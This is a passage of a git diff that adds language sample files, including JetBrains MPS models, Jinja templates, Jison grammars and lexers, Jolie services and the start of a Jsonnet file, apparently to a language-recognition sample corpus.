+        <child id="1178549979242" name="visibility" index="1B3o_S" />
+      </concept>
+      <concept id="1107796713796" name="jetbrains.mps.baseLanguage.structure.Interface" flags="ig" index="3HP615">
+        <child id="1107797138135" name="extendedInterface" index="3HQHJm" />
+      </concept>
+      <concept id="1146644602865" name="jetbrains.mps.baseLanguage.structure.PublicVisibility" flags="nn" index="3Tm1VV" />
+    </language>
+    <language id="7866978e-a0f0-4cc7-81bc-4d213d9375e1" name="jetbrains.mps.lang.smodel">
+      <concept id="6677504323281689838" name="jetbrains.mps.lang.smodel.structure.SConceptType" flags="in" index="3bZ5Sz" />
+    </language>
+    <language id="ceab5195-25ea-4f22-9b92-103b95ca8c0c" name="jetbrains.mps.lang.core">
+      <concept id="1169194658468" name="jetbrains.mps.lang.core.structure.INamedConcept" flags="ng" index="TrEIO">
+        <property id="1169194664001" name="name" index="TrG5h" />
+      </concept>
+    </language>
+  </registry>
+  <node concept="3HP615" id="2wQ3F8GeTEG">
+    <property role="TrG5h" value="DocumentationAspectDescriptor" />
+    <node concept="3clFb_" id="2wQ3F8GeTFj" role="jymVt">
+      <property role="2aFKle" value="false" />
+      <property role="TrG5h" value="getConceptDocumentation" />
+      <node concept="3clFbS" id="2wQ3F8GeTFm" role="3clF47" />
+      <node concept="3Tm1VV" id="2wQ3F8GeTFn" role="1B3o_S" />
+      <node concept="3uibUv" id="2wQ3F8GeTFb" role="3clF45">
+        <ref role="3uigEE" to="wyt6:~String" resolve="String" />
+      </node>
+      <node concept="37vLTG" id="2wQ3F8GeTFG" role="3clF46">
+        <property role="TrG5h" value="concept" />
+        <node concept="3bZ5Sz" id="2wQ3F8GeTFF" role="1tU5fm" />
+      </node>
+    </node>
+    <node concept="3Tm1VV" id="2wQ3F8GeTEH" role="1B3o_S" />
+    <node concept="3uibUv" id="2wQ3F8GeTF3" role="3HQHJm">
+      <ref role="3uigEE" to="ze1i:~ILanguageAspect" resolve="ILanguageAspect" />
+    </node>
+  </node>
+</model>
\ No newline at end of file
diff --git a/samples/JetBrains MPS/sandbox.msd b/samples/JetBrains MPS/sandbox.msd
new file mode 100644
index 0000000000..7d492d86d5
--- /dev/null
+++ b/samples/JetBrains MPS/sandbox.msd	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<solution name="jetbrains.mps.samples.Kaja.sandbox" uuid="202a7e1d-f62f-48e2-a734-32662e238d8a" moduleVersion="0" compileInMPS="true">
+  <models>
+    <modelRoot contentPath="${module}" type="default">
+      <sourceRoot location="models" />
+    </modelRoot>
+  </models>
+  <facets>
+    <facet type="java">
+      <classes generated="true" path="${module}/classes_gen" />
+    </facet>
+  </facets>
+  <sourcePath />
+  <dependencies>
+    <dependency reexport="false">6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)</dependency>
+    <dependency reexport="false">5004e7d9-a353-4cb0-960a-68fc804bd95d(jetbrains.mps.samples.JavaKaja)</dependency>
+  </dependencies>
+  <languageVersions>
+    <language slang="l:4caf0310-491e-41f5-8a9b-2006b3a94898:jetbrains.mps.execution.util" version="0" />
+    <language slang="l:ceab5195-25ea-4f22-9b92-103b95ca8c0c:jetbrains.mps.lang.core" version="2" />
+    <language slang="l:049a08c5-1fe5-43cc-bd99-8b46d641d7f5:jetbrains.mps.samples.Kaja" version="0" />
+    <language slang="l:44306fd2-ef94-4b56-9806-d9ab509536db:jetbrains.mps.samples.KajaAndOr" version="0" />
+    <language slang="l:b56912a3-674f-4530-b0cf-55261b526a1f:jetbrains.mps.samples.KajaSceneConstruction" version="0" />
+  </languageVersions>
+  <dependencyVersions>
+    <module reference="6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)" version="0" />
+    <module reference="5004e7d9-a353-4cb0-960a-68fc804bd95d(jetbrains.mps.samples.JavaKaja)" version="0" />
+    <module reference="202a7e1d-f62f-48e2-a734-32662e238d8a(jetbrains.mps.samples.Kaja.sandbox)" version="0" />
+  </dependencyVersions>
+</solution>
\ No newline at end of file
diff --git a/samples/Jinja/home.j2 b/samples/Jinja/home.j2
new file mode 100644
index 0000000000..8ea85808d7
--- /dev/null
+++ b/samples/Jinja/home.j2
@@ -0,0 +1,66 @@
+{% extends "bootstrap/base.html" %}
+{% block title %}OAuth Helper - Home{% endblock %}
+
+{% block content %}
+<div class="container">
+    <div class="row pt-5"><h1>OAuth Client Helper</h1></div>
+    <p>This is here to help make getting, setting and pushing OAuth tokens easier</p>
+    <p>TODO: add some more notes about WTF is actually going on here....</p>
+
+    <a class="btn btn-primary" href="/add-client" role="button">New Client ID</a>
+
+    <hr>
+
+    <h3>List of current clients configured and status summary</h3>
+    {% if 'client_id' in colnames %}
+    {# <pre><code>{{ client_data }}</code></pre> #}
+    <table class="table table-hover w-auto small">
+        <thead>
+            <tr>
+                {# First column is always client_id #}
+                <th scope="col">client_id</th>
+                {% set col_client_index = colnames.index('client_id') %}
+                {% for col in colnames %}
+                {% if col != "client_id" %}
+                {# Skipping the client_id column because we already added it #}
+                <th scope="col">{{ col }}</th>
+                {% endif %}
+                {% endfor %}
+            </tr>
+        </thead>
+        <tbody>
+            {% for client_id_list in data[0] %}
+            {% set outer_loop = loop %}
+            <tr>
+                {# First column is always client_id #}
+                <td><a href="/client-detail/{{ data[col_client_index][loop.index0] }}">{{ data[col_client_index][loop.index0] }}</a></td>
+                {% for item in data %}
+                {% if colnames[loop.index0] == 'client_id' %}
+                {# nothing #}
+                {% elif colnames[loop.index0] == 'qs_params'%}
+                <td>
+                    {% if item[outer_loop.index0] is mapping %}
+                    <ul class="list-group">
+                        {% for key, val in item[outer_loop.index0].items() %}
+                        <li><code><pre>{{key}}: '{{val}}'</pre></code></li>
+                        {% endfor %}
+                    </ul>
+                    {% else %}
+                    None
+                    {% endif %}
+                </td>
+                {% else %}
+                <td>{{ item[outer_loop.index0] }}</td>
+                {% endif %}
+                {% endfor %}
+            </tr>
+            {% endfor %}
+        </tbody>
+    </table>
+    {% else %}
+    {# Seems there's no data #}
+    <p>No Data</p>
+    {% endif %}
+
+</div>
+{% endblock %}
diff --git a/samples/Jinja/worker.jinja2 b/samples/Jinja/worker.jinja2
new file mode 100644
index 0000000000..0a74321dbb
--- /dev/null
+++ b/samples/Jinja/worker.jinja2
@@ -0,0 +1,38 @@
+<h1>Workers</h1>
+
+<table class="workers">
+  <tr>
+    <th>Job server</th>
+    <th>IP</th>
+    <th>File descriptor</th>
+    <th>Client ID</th>
+    <th>Functions</th>
+  </tr>
+
+{% for server_info in server_infos %}
+  <tr {% if server_info['failed'] %} class="failure" {% endif %} >
+    
+    <th>{{ server_info['hostport'][0] }}:{{ server_info['hostport'][1] }}</th>
+    <th>
+      {%- if server_info['failed'] -%} Not responding! {%- endif -%}
+    </th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+  
+  {% if not server_info['failed'] %}
+    {% for worker in server_info['workers'] %}
+    <tr>
+      <td class="server"></td>
+      <td class="ip">{{ worker['ip'] }}</td>
+      <td class="file_descriptor">{{ worker['file_descriptor'] }}</td>
+      <td class="client_id">{{ worker['client_id'] }}</td>
+      <td class="functions">
+        {{ worker['tasks']|join(', ') }}
+      </td>
+    </tr>
+    {% endfor %}
+  {% endif %}
+{% endfor %}
+</table>
diff --git a/samples/Jison Lex/classy.jisonlex b/samples/Jison Lex/classy.jisonlex
new file mode 100644
index 0000000000..e0e7edf6d8
--- /dev/null
+++ b/samples/Jison Lex/classy.jisonlex	
@@ -0,0 +1,39 @@
+digit                       [0-9]
+id                          [a-zA-Z][a-zA-Z0-9]*
+
+%%
+"//".*                      /* ignore comment */
+"main"                      return 'MAIN';
+"class"                     return 'CLASS';
+"extends"                   return 'EXTENDS';
+"nat"                       return 'NATTYPE';
+"if"                        return 'IF';
+"else"                      return 'ELSE';
+"for"                       return 'FOR';
+"printNat"                  return 'PRINTNAT';
+"readNat"                   return 'READNAT';
+"this"                      return 'THIS';
+"new"                       return 'NEW';
+"var"                       return 'VAR';
+"null"                      return 'NUL';
+{digit}+                    return 'NATLITERAL';
+{id}                        return 'ID';
+"=="                        return 'EQUALITY';
+"="                         return 'ASSIGN';
+"+"                         return 'PLUS';
+"-"                         return 'MINUS';
+"*"                         return 'TIMES';
+">"                         return 'GREATER';
+"||"                        return 'OR';
+"!"                         return 'NOT';
+"."                         return 'DOT';
+"{"                         return 'LBRACE';
+"}"                         return 'RBRACE';
+"("                         return 'LPAREN';
+")"                         return 'RPAREN';
+";"                         return 'SEMICOLON';
+\s+                         /* skip whitespace */
+"."                         throw 'Illegal character';
+<<EOF>>                     return 'ENDOFFILE';
+
+
diff --git a/samples/Jison Lex/lex_grammar.jisonlex b/samples/Jison Lex/lex_grammar.jisonlex
new file mode 100644
index 0000000000..771788888e
--- /dev/null
+++ b/samples/Jison Lex/lex_grammar.jisonlex	
@@ -0,0 +1,29 @@
+
+%%
+\n+                         {yy.freshLine = true;}
+\s+                         {yy.freshLine = false;}
+"y{"[^}]*"}"                {yytext = yytext.substr(2, yyleng - 3); return 'ACTION';}
+[a-zA-Z_][a-zA-Z0-9_-]*     {return 'NAME';}
+'"'([^"]|'\"')*'"'          {return 'STRING_LIT';}
+"'"([^']|"\'")*"'"          {return 'STRING_LIT';}
+"|"                         {return '|';}
+"["("\]"|[^\]])*"]"         {return 'ANY_GROUP_REGEX';}
+"("                         {return '(';}
+")"                         {return ')';}
+"+"                         {return '+';}
+"*"                         {return '*';}
+"?"                         {return '?';}
+"^"                         {return '^';}
+"/"                         {return '/';}
+"\\"[a-zA-Z0]               {return 'ESCAPE_CHAR';}
+"$"                         {return '$';}
+"<<EOF>>"                   {return '$';}
+"."                         {return '.';}
+"%%"                        {return '%%';}
+"{"\d+(","\s?\d+|",")?"}"   {return 'RANGE_REGEX';}
+/"{"                        %{if (yy.freshLine) { this.input('{'); return '{'; } else { this.unput('y'); }%}
+"}"                         %{return '}';%}
+"%{"(.|\n)*?"}%"            {yytext = yytext.substr(2, yyleng - 4); return 'ACTION';}
+.                           {/* ignore bad characters */}
+<<EOF>>                     {return 'EOF';}
+
diff --git a/samples/Jison/ansic.jison b/samples/Jison/ansic.jison
new file mode 100644
index 0000000000..ef0ac557cb
--- /dev/null
+++ b/samples/Jison/ansic.jison
@@ -0,0 +1,418 @@
+%token IDENTIFIER CONSTANT STRING_LITERAL SIZEOF
+%token PTR_OP INC_OP DEC_OP LEFT_OP RIGHT_OP LE_OP GE_OP EQ_OP NE_OP
+%token AND_OP OR_OP MUL_ASSIGN DIV_ASSIGN MOD_ASSIGN ADD_ASSIGN
+%token SUB_ASSIGN LEFT_ASSIGN RIGHT_ASSIGN AND_ASSIGN
+%token XOR_ASSIGN OR_ASSIGN TYPE_NAME
+
+%token TYPEDEF EXTERN STATIC AUTO REGISTER
+%token CHAR SHORT INT LONG SIGNED UNSIGNED FLOAT DOUBLE CONST VOLATILE VOID
+%token STRUCT UNION ENUM ELLIPSIS
+
+%token CASE DEFAULT IF ELSE SWITCH WHILE DO FOR GOTO CONTINUE BREAK RETURN
+
+%nonassoc IF_WITHOUT_ELSE
+%nonassoc ELSE
+
+%start translation_unit
+%%
+
+primary_expression
+    : IDENTIFIER
+    | CONSTANT
+    | STRING_LITERAL
+    | '(' expression ')'
+    ;
+
+postfix_expression
+    : primary_expression
+    | postfix_expression '[' expression ']'
+    | postfix_expression '(' ')'
+    | postfix_expression '(' argument_expression_list ')'
+    | postfix_expression '.' IDENTIFIER
+    | postfix_expression PTR_OP IDENTIFIER
+    | postfix_expression INC_OP
+    | postfix_expression DEC_OP
+    ;
+
+argument_expression_list
+    : assignment_expression
+    | argument_expression_list ',' assignment_expression
+    ;
+
+unary_expression
+    : postfix_expression
+    | INC_OP unary_expression
+    | DEC_OP unary_expression
+    | unary_operator cast_expression
+    | SIZEOF unary_expression
+    | SIZEOF '(' type_name ')'
+    ;
+
+unary_operator
+    : '&'
+    | '*'
+    | '+'
+    | '-'
+    | '~'
+    | '!'
+    ;
+
+cast_expression
+    : unary_expression
+    | '(' type_name ')' cast_expression
+    ;
+
+multiplicative_expression
+    : cast_expression
+    | multiplicative_expression '*' cast_expression
+    | multiplicative_expression '/' cast_expression
+    | multiplicative_expression '%' cast_expression
+    ;
+
+additive_expression
+    : multiplicative_expression
+    | additive_expression '+' multiplicative_expression
+    | additive_expression '-' multiplicative_expression
+    ;
+
+shift_expression
+    : additive_expression
+    | shift_expression LEFT_OP additive_expression
+    | shift_expression RIGHT_OP additive_expression
+    ;
+
+relational_expression
+    : shift_expression
+    | relational_expression '<' shift_expression
+    | relational_expression '>' shift_expression
+    | relational_expression LE_OP shift_expression
+    | relational_expression GE_OP shift_expression
+    ;
+
+equality_expression
+    : relational_expression
+    | equality_expression EQ_OP relational_expression
+    | equality_expression NE_OP relational_expression
+    ;
+
+and_expression
+    : equality_expression
+    | and_expression '&' equality_expression
+    ;
+
+exclusive_or_expression
+    : and_expression
+    | exclusive_or_expression '^' and_expression
+    ;
+
+inclusive_or_expression
+    : exclusive_or_expression
+    | inclusive_or_expression '|' exclusive_or_expression
+    ;
+
+logical_and_expression
+    : inclusive_or_expression
+    | logical_and_expression AND_OP inclusive_or_expression
+    ;
+
+logical_or_expression
+    : logical_and_expression
+    | logical_or_expression OR_OP logical_and_expression
+    ;
+
+conditional_expression
+    : logical_or_expression
+    | logical_or_expression '?' expression ':' conditional_expression
+    ;
+
+assignment_expression
+    : conditional_expression
+    | unary_expression assignment_operator assignment_expression
+    ;
+
+assignment_operator
+    : '='
+    | MUL_ASSIGN
+    | DIV_ASSIGN
+    | MOD_ASSIGN
+    | ADD_ASSIGN
+    | SUB_ASSIGN
+    | LEFT_ASSIGN
+    | RIGHT_ASSIGN
+    | AND_ASSIGN
+    | XOR_ASSIGN
+    | OR_ASSIGN
+    ;
+
+expression
+    : assignment_expression
+    | expression ',' assignment_expression
+    ;
+
+constant_expression
+    : conditional_expression
+    ;
+
+declaration
+    : declaration_specifiers ';'
+    | declaration_specifiers init_declarator_list ';'
+    ;
+
+declaration_specifiers
+    : storage_class_specifier
+    | storage_class_specifier declaration_specifiers
+    | type_specifier
+    | type_specifier declaration_specifiers
+    | type_qualifier
+    | type_qualifier declaration_specifiers
+    ;
+
+init_declarator_list
+    : init_declarator
+    | init_declarator_list ',' init_declarator
+    ;
+
+init_declarator
+    : declarator
+    | declarator '=' initializer
+    ;
+
+storage_class_specifier
+    : TYPEDEF
+    | EXTERN
+    | STATIC
+    | AUTO
+    | REGISTER
+    ;
+
+type_specifier
+    : VOID
+    | CHAR
+    | SHORT
+    | INT
+    | LONG
+    | FLOAT
+    | DOUBLE
+    | SIGNED
+    | UNSIGNED
+    | struct_or_union_specifier
+    | enum_specifier
+    | TYPE_NAME
+    ;
+
+struct_or_union_specifier
+    : struct_or_union IDENTIFIER '{' struct_declaration_list '}'
+    | struct_or_union '{' struct_declaration_list '}'
+    | struct_or_union IDENTIFIER
+    ;
+
+struct_or_union
+    : STRUCT
+    | UNION
+    ;
+
+struct_declaration_list
+    : struct_declaration
+    | struct_declaration_list struct_declaration
+    ;
+
+struct_declaration
+    : specifier_qualifier_list struct_declarator_list ';'
+    ;
+
+specifier_qualifier_list
+    : type_specifier specifier_qualifier_list
+    | type_specifier
+    | type_qualifier specifier_qualifier_list
+    | type_qualifier
+    ;
+
+struct_declarator_list
+    : struct_declarator
+    | struct_declarator_list ',' struct_declarator
+    ;
+
+struct_declarator
+    : declarator
+    | ':' constant_expression
+    | declarator ':' constant_expression
+    ;
+
+enum_specifier
+    : ENUM '{' enumerator_list '}'
+    | ENUM IDENTIFIER '{' enumerator_list '}'
+    | ENUM IDENTIFIER
+    ;
+
+enumerator_list
+    : enumerator
+    | enumerator_list ',' enumerator
+    ;
+
+enumerator
+    : IDENTIFIER
+    | IDENTIFIER '=' constant_expression
+    ;
+
+type_qualifier
+    : CONST
+    | VOLATILE
+    ;
+
+declarator
+    : pointer direct_declarator
+    | direct_declarator
+    ;
+
+direct_declarator
+    : IDENTIFIER
+    | '(' declarator ')'
+    | direct_declarator '[' constant_expression ']'
+    | direct_declarator '[' ']'
+    | direct_declarator '(' parameter_type_list ')'
+    | direct_declarator '(' identifier_list ')'
+    | direct_declarator '(' ')'
+    ;
+
+pointer
+    : '*'
+    | '*' type_qualifier_list
+    | '*' pointer
+    | '*' type_qualifier_list pointer
+    ;
+
+type_qualifier_list
+    : type_qualifier
+    | type_qualifier_list type_qualifier
+    ;
+
+
+parameter_type_list
+    : parameter_list
+    | parameter_list ',' ELLIPSIS
+    ;
+
+parameter_list
+    : parameter_declaration
+    | parameter_list ',' parameter_declaration
+    ;
+
+parameter_declaration
+    : declaration_specifiers declarator
+    | declaration_specifiers abstract_declarator
+    | declaration_specifiers
+    ;
+
+identifier_list
+    : IDENTIFIER
+    | identifier_list ',' IDENTIFIER
+    ;
+
+type_name
+    : specifier_qualifier_list
+    | specifier_qualifier_list abstract_declarator
+    ;
+
+abstract_declarator
+    : pointer
+    | direct_abstract_declarator
+    | pointer direct_abstract_declarator
+    ;
+
+direct_abstract_declarator
+    : '(' abstract_declarator ')'
+    | '[' ']'
+    | '[' constant_expression ']'
+    | direct_abstract_declarator '[' ']'
+    | direct_abstract_declarator '[' constant_expression ']'
+    | '(' ')'
+    | '(' parameter_type_list ')'
+    | direct_abstract_declarator '(' ')'
+    | direct_abstract_declarator '(' parameter_type_list ')'
+    ;
+
+initializer
+    : assignment_expression
+    | '{' initializer_list '}'
+    | '{' initializer_list ',' '}'
+    ;
+
+initializer_list
+    : initializer
+    | initializer_list ',' initializer
+    ;
+
+statement
+    : labeled_statement
+    | compound_statement
+    | expression_statement
+    | selection_statement
+    | iteration_statement
+    | jump_statement
+    ;
+
+labeled_statement
+    : IDENTIFIER ':' statement
+    | CASE constant_expression ':' statement
+    | DEFAULT ':' statement
+    ;
+
+compound_statement
+    : '{' '}'
+    | '{' statement_list '}'
+    | '{' declaration_list '}'
+    | '{' declaration_list statement_list '}'
+    ;
+
+declaration_list
+    : declaration
+    | declaration_list declaration
+    ;
+
+statement_list
+    : statement
+    | statement_list statement
+    ;
+
+expression_statement
+    : ';'
+    | expression ';'
+    ;
+
+selection_statement
+    : IF '(' expression ')' statement %prec IF_WITHOUT_ELSE
+    | IF '(' expression ')' statement ELSE statement
+    | SWITCH '(' expression ')' statement
+    ;
+
+iteration_statement
+    : WHILE '(' expression ')' statement
+    | DO statement WHILE '(' expression ')' ';'
+    | FOR '(' expression_statement expression_statement ')' statement
+    | FOR '(' expression_statement expression_statement expression ')' statement
+    ;
+
+jump_statement
+    : GOTO IDENTIFIER ';'
+    | CONTINUE ';'
+    | BREAK ';'
+    | RETURN ';'
+    | RETURN expression ';'
+    ;
+
+translation_unit
+    : external_declaration
+    | translation_unit external_declaration
+    ;
+
+external_declaration
+    : function_definition
+    | declaration
+    ;
+
+function_definition
+    : declaration_specifiers declarator declaration_list compound_statement
+    | declaration_specifiers declarator compound_statement
+    | declarator declaration_list compound_statement
+    | declarator compound_statement
+    ;
diff --git a/samples/Jison/classy.jison b/samples/Jison/classy.jison
new file mode 100644
index 0000000000..5623014abd
--- /dev/null
+++ b/samples/Jison/classy.jison
@@ -0,0 +1,84 @@
+
+/* description: ClassyLang grammar. Very classy. */
+/*
+  To build parser:
+
+    $ ./bin/jison examples/classy.jison examples/classy.jisonlex
+
+*/
+
+
+/* author: Zach Carter */
+
+%right ASSIGN
+%left OR
+%nonassoc EQUALITY GREATER
+%left PLUS MINUS
+%left TIMES
+%right NOT
+%left DOT
+
+%%
+
+pgm
+    : cdl MAIN LBRACE vdl el RBRACE ENDOFFILE
+    ;
+
+cdl
+    : c cdl
+    |
+    ;
+
+c
+    : CLASS id EXTENDS id LBRACE vdl mdl RBRACE
+    ;
+
+vdl
+    : VAR t id SEMICOLON vdl
+    |
+    ;
+
+mdl
+    : t id LPAREN t id RPAREN LBRACE vdl el RBRACE mdl
+    |
+    ;
+
+t
+    : NATTYPE
+    | id
+    ;
+
+id
+    : ID
+    ;
+
+el
+    : e SEMICOLON el
+    | e SEMICOLON
+    ;
+
+e
+    : NATLITERAL
+    | NUL
+    | id
+    | NEW id
+    | THIS
+    | IF LPAREN e RPAREN LBRACE el RBRACE ELSE LBRACE el RBRACE
+    | FOR LPAREN e SEMICOLON e SEMICOLON e RPAREN LBRACE el RBRACE
+    | READNAT LPAREN RPAREN
+    | PRINTNAT LPAREN e RPAREN
+    | e PLUS e
+    | e MINUS e
+    | e TIMES e
+    | e EQUALITY e
+    | e GREATER e
+    | NOT e
+    | e OR e
+    | e DOT id
+    | id ASSIGN e
+    | e DOT id ASSIGN e
+    | id LPAREN e RPAREN
+    | e DOT id LPAREN e RPAREN
+    | LPAREN e RPAREN
+    ;
+
diff --git a/samples/Jison/lex.jison b/samples/Jison/lex.jison
new file mode 100644
index 0000000000..050bbdd461
--- /dev/null
+++ b/samples/Jison/lex.jison
@@ -0,0 +1,145 @@
+
+// `%nonassoc` tells the parser compiler (JISON) that these tokens cannot occur more than once,
+// i.e. input like '//a' (tokens '/', '/' and 'a') is not a legal input while '/a' (tokens '/' and 'a')
+// *is* legal input for this grammar.
+ 
+%nonassoc '/' '/!'
+
+// Likewise for `%left`: this informs the LALR(1) grammar compiler (JISON) that these tokens
+// *can* occur repeatedly, e.g. 'a?*' and even 'a**' are considered legal inputs given this
+// grammar!
+//
+// Token `RANGE_REGEX` may seem the odd one out here but really isn't: given the `regex_base`
+// choice/rule `regex_base range_regex`, which is recursive, this grammar tells JISON that 
+// any input matching a sequence like `regex_base range_regex range_regex` *is* legal.
+// If you do not want that to be legal, you MUST adjust the grammar rule set you match your
+// actual intent.
+
+%left '*' '+' '?' RANGE_REGEX
+
+
+%% 
+
+lex 
+    : definitions include '%%' rules '%%' EOF
+        {{ $$ = {macros: $1, rules: $4};
+          if ($2) $$.actionInclude = $2;
+          return $$; }}
+    | definitions include '%%' rules EOF
+        {{ $$ = {macros: $1, rules: $4};
+          if ($2) $$.actionInclude = $2;
+          return $$; }}
+    ;
+
+include
+    : action
+    |
+    ;
+
+definitions
+    : definitions definition
+        { $$ = $1; $$.concat($2); }
+    | definition
+        { $$ = [$1]; }
+    ;
+
+definition
+    : name regex
+        { $$ = [$1, $2]; }
+    ;
+
+name
+    : NAME
+        { $$ = yytext; }
+    ;
+
+rules
+    : rules rule
+        { $$ = $1; $$.push($2); }
+    | rule
+        { $$ = [$1]; }
+    ;
+
+rule
+    : regex action
+        { $$ = [$1, $2]; }
+    ;
+
+action
+    : ACTION 
+        { $$ = yytext; }
+    ;
+
+regex
+    : start_caret regex_list end_dollar
+        { $$ = $1+$2+$3; }
+    ;
+
+start_caret
+    : '^'
+        { $$ = '^'; }
+    |
+        { $$ = ''; }
+    ;
+
+end_dollar
+    : '$'
+        { $$ = '$'; }
+    |
+        { $$ = ''; }
+    ;
+
+regex_list
+    : regex_list '|' regex_chain
+        { $$ = $1+'|'+$3; }
+    | regex_chain
+    ;
+
+regex_chain
+    : regex_chain regex_base
+        { $$ = $1+$2;}
+    | regex_base
+        { $$ = $1;}
+    ;
+
+regex_base
+    : '(' regex_list ')'
+        { $$ = '('+$2+')'; }
+    | regex_base '+'
+        { $$ = $1+'+'; }
+    | regex_base '*'
+        { $$ = $1+'*'; }
+    | regex_base '?'
+        { $$ = $1+'?'; }
+    | '/' regex_base
+        { $$ = '(?=' + $regex_base + ')'; }
+    | '/!' regex_base
+        { $$ = '(?!' + $regex_base + ')'; }
+    | name_expansion
+    | regex_base range_regex
+        { $$ = $1+$2; }
+    | any_group_regex
+    | '.'
+        { $$ = '.'; }
+    | string
+    ;
+
+name_expansion
+    : '{' name '}'
+        {{ $$ = '{'+$2+'}'; }}
+    ;
+
+any_group_regex
+    : ANY_GROUP_REGEX
+        { $$ = yytext; }
+    ;
+
+range_regex
+    : RANGE_REGEX
+        { $$ = yytext; }
+    ;
+
+string
+    : STRING_LIT
+        { $$ = yy.prepareString(yytext.substr(1, yyleng-2)); }
+    ;
diff --git a/samples/Jolie/common.iol b/samples/Jolie/common.iol
new file mode 100644
index 0000000000..ca628c6c5d
--- /dev/null
+++ b/samples/Jolie/common.iol
@@ -0,0 +1,37 @@
+include "types/Binding.iol"
+
+constants {
+	Location_Exam = "socket://localhost:8000"
+}
+
+type StartExamRequest:void {
+	.examName:string
+	.studentName:string
+	.student:Binding
+}
+
+type MakeQuestionRequest:void {
+	.question:string
+	.examName:string
+	.studentName:string
+}
+
+type DecisionMessage:void {
+	.studentName:string
+	.examName:string
+}
+
+interface ExamInterface {
+OneWay:
+	startExam(StartExamRequest),
+	pass(DecisionMessage), fail(DecisionMessage)
+RequestResponse:
+	makeQuestion(MakeQuestionRequest)(int)
+}
+
+interface StudentInterface {
+OneWay:
+	sendMessage(string)
+RequestResponse:
+	makeQuestion(MakeQuestionRequest)(int)
+}
\ No newline at end of file
diff --git a/samples/Jolie/exam.ol b/samples/Jolie/exam.ol
new file mode 100644
index 0000000000..f20ee94261
--- /dev/null
+++ b/samples/Jolie/exam.ol
@@ -0,0 +1,39 @@
+include "common.iol"
+
+cset {
+studentName:
+	StartExamRequest.studentName
+	DecisionMessage.studentName
+	MakeQuestionRequest.studentName,
+examName:
+	StartExamRequest.examName
+	DecisionMessage.examName
+	MakeQuestionRequest.examName
+}
+
+execution { concurrent }
+
+outputPort Student {
+Interfaces: StudentInterface
+}
+
+inputPort ExamInput {
+Location: Location_Exam
+Protocol: sodep
+Interfaces: ExamInterface
+}
+
+main
+{
+	startExam( examRequest );
+	Student << examRequest.student;
+	makeQuestion( question )( answer ) {
+		makeQuestion@Student( question )( answer )
+	};
+	[ pass( message ) ] {
+		sendMessage@Student( "You passed!" )
+	}
+	[ fail( message ) ] {
+		sendMessage@Student( "You failed!" )
+	}
+}
\ No newline at end of file
diff --git a/samples/Jolie/examiner.ol b/samples/Jolie/examiner.ol
new file mode 100644
index 0000000000..b94f92fbc4
--- /dev/null
+++ b/samples/Jolie/examiner.ol
@@ -0,0 +1,26 @@
+include "common.iol"
+include "ui/swing_ui.iol"
+include "console.iol"
+
+outputPort Exam {
+Location: Location_Exam
+Protocol: sodep
+Interfaces: ExamInterface
+}
+
+main
+{
+	question.studentName = "John";
+	question.examName = "SPLG";
+	question.question = "Random question";
+	makeQuestion@Exam( question )( answer );
+	showYesNoQuestionDialog@SwingUI( "Do you want to accept answer " + answer + " ?" )( decision );
+
+	message.studentName = "John";
+	message.examName = "SPLG";
+	if ( decision == 0 ) {
+		pass@Exam( message )
+	} else {
+		fail@Exam( message )
+	}
+}
diff --git a/samples/Jolie/hanoi.ol b/samples/Jolie/hanoi.ol
new file mode 100644
index 0000000000..e79adb69a0
--- /dev/null
+++ b/samples/Jolie/hanoi.ol
@@ -0,0 +1,84 @@
+// https://github.com/jolie/website/blob/master/docs/documentation/locations/code/local.ol
+
+include "runtime.iol"
+include "string_utils.iol"
+
+type HanoiRequest: void{
+  .src: string
+  .aux: string
+  .dst: string
+  .n: int
+  .sid?: string
+}
+
+type HanoiReponse: void {
+  .move?: string
+}
+
+interface LocalOperations{
+  RequestResponse:
+    hanoiSolver( HanoiRequest )( HanoiReponse )
+}
+
+interface ExternalOperations{
+  RequestResponse:
+    hanoi( HanoiRequest )( string )
+}
+
+outputPort Self{
+  Interfaces: LocalOperations
+}
+
+inputPort Self {
+  Location: "local"
+  Interfaces: LocalOperations
+}
+
+inputPort PowerService {
+  Location: "socket://localhost:8000"
+  Protocol: http{
+    .format = "html"
+  }
+  Interfaces: ExternalOperations
+}
+
+execution { concurrent }
+
+init
+{
+  getLocalLocation@Runtime()( Self.location )
+}
+
+main
+{
+  [ hanoi( request )( response ){
+    getRandomUUID@StringUtils()(request.sid);
+    hanoiSolver@Self( request )( subRes );
+    response = subRes.move
+  }]{ nullProcess }
+
+  [ hanoiSolver( request )( response ){
+    if ( request.n > 0 ){
+      subReq.n = request.n;
+      subReq.n--;
+      with( request ){
+        subReq.aux = .dst;
+        subReq.dst = .aux;
+        subReq.src = .src;
+        subReq.sid = .sid
+      };
+      hanoiSolver@Self( subReq )( response );
+      response.move +=  "<br>" + 
+                ++global.counters.(request.sid) + 
+                ") Move from " + request.src +
+                " to " + request.dst + ";";
+      with ( request ){
+        subReq.src = .aux;
+        subReq.aux = .src;
+        subReq.dst = .dst
+      };
+      hanoiSolver@Self( subReq )( subRes );
+      response.move += subRes.move
+    }
+  }]{ nullProcess }
+}
\ No newline at end of file
diff --git a/samples/Jolie/student.ol b/samples/Jolie/student.ol
new file mode 100644
index 0000000000..e1097082ee
--- /dev/null
+++ b/samples/Jolie/student.ol
@@ -0,0 +1,29 @@
+include "common.iol"
+include "ui/swing_ui.iol"
+include "console.iol"
+
+outputPort Exam {
+Location: Location_Exam
+Protocol: sodep
+Interfaces: ExamInterface
+}
+
+inputPort StudentInput {
+Location: "socket://localhost:8001/"
+Protocol: sodep
+Interfaces: StudentInterface
+}
+
+main
+{
+	request.studentName = "John";
+	request.examName = "SPLG";
+	request.student.location = "socket://localhost:8001/";
+	request.student.protocol = "sodep";
+	startExam@Exam( request );
+	makeQuestion( question )( answer ) {
+		showYesNoQuestionDialog@SwingUI( question.question )( answer )
+	};
+	sendMessage( message );
+	println@Console( message )()
+}
\ No newline at end of file
diff --git a/samples/Jsonnet/intersection.jsonnet b/samples/Jsonnet/intersection.jsonnet
new file mode 100644
index 0000000000..e93d6057d8
--- /dev/null
+++ b/samples/Jsonnet/intersection.jsonnet
@@ -0,0 +1,60 @@
+// Copyright 2015 Google Inc. All rights reserved.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//    http://www.apache.org/licenses/LICENSE-2.0
+//
